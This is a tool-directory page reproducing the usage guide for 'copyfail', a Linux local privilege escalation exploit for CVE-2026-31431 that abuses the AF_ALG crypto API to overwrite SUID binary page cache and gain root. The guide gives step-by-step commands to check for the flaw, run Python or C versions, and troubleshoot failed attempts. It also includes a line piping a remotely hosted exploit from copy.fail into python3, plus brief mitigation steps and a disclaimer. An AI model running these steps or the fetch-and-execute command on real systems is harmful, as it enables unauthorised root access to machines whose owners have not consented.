Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/minime794/copyfail
Privilege EscalationVulnerability AnalysisExploitationBinary Exploitation
GitHubminime794/copyfail

copyfail

Linux local privilege escalation exploit for CVE-2026-31431, overwriting page cache of SUID binaries via the AF_ALG kernel crypto API to gain root access.

View Repository
482 months agoNot yet reviewed
Share

Copy Fail (CVE-2026-31431) – Exploit Usage Guide

Original Readme taken from @painoob

All Kernel versions since 2017 / 2016 are vulnerable ! Kernel 7 is fully immune, others (between 5-7 may still be vulnerable)

⚠️ Disclaimer

This content is for educational and authorized security testing purposes only. Do NOT run this on systems without explicit permission.


📌 Overview

Copy Fail (CVE-2026-31431) is a Linux Local Privilege Escalation (LPE) vulnerability affecting the kernel crypto API via AF_ALG.

It allows an unprivileged user to overwrite page cache data of a SUID binary (e.g., /usr/bin/su) and gain root access.


🧠 Requirements

System Requirements

  • Linux kernel (vulnerable – depends on patch status)
  • AF_ALG enabled
  • algif_aead module loaded

Python Exploit Requirements

  • Python 3.10+
  • Support for:
    • os.splice
    • socket(AF_ALG)

🔍 Checking Vulnerability

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Expected indicators:

  • authencesn(hmac(sha256),cbc(aes))
  • algif_aead loaded

🐍 Running the Python Exploit

1. Execute directly

python3 copy_fail_exp.py

2. Or via curl (if remote hosted)

curl https://copy.fail/exp | python3

3. Trigger root shell

su
id

Expected result:

uid=0(root)

⚠️ Common Issues (Python)

❌ Error: os.splice not found

Cause:

  • Python version < 3.10
  • Restricted build

Solution:

  • Use a newer Python binary
  • Upload a static Python interpreter

⚙️ Compiling the C Version

1. Compile

gcc copy_fail_exp.c -o copy_fail

2. Make executable

chmod +x copy_fail

3. Run exploit

./copy_fail
su

⚠️ Common Issues (C)

❌ Exploit runs but no root

Possible causes:

  • Kernel patched
  • Incorrect offsets
  • Environment mismatch

❌ Compilation errors

Install required tools:

apt update && apt install build-essential

🧪 Troubleshooting

Check if system is patched

dmesg | grep -i alg

Verify module

lsmod | grep algif_aead

🛡️ Mitigation

Disable vulnerable module

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Apply kernel patch

Update your system:

apt update && apt upgrade

📌 Notes

  • Exploit modifies page cache only (non-persistent)
  • Requires local access
  • Not remotely exploitable by default

🧠 Final Insight

If the exploit fails, consider:

  • Kernel already patched
  • Environment restrictions
  • Alternate privilege escalation vectors (SUID, capabilities, sudo misconfig)

📚 References

  • https://copy.fail/
  • CVE-2026-31431

👨‍💻 Author Notes

Use this exploit responsibly in labs, CTFs, and authorized pentests only.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    647
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    421
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    389
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    333
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    331

Explore all tools

Browse our collection of tools

View all tools →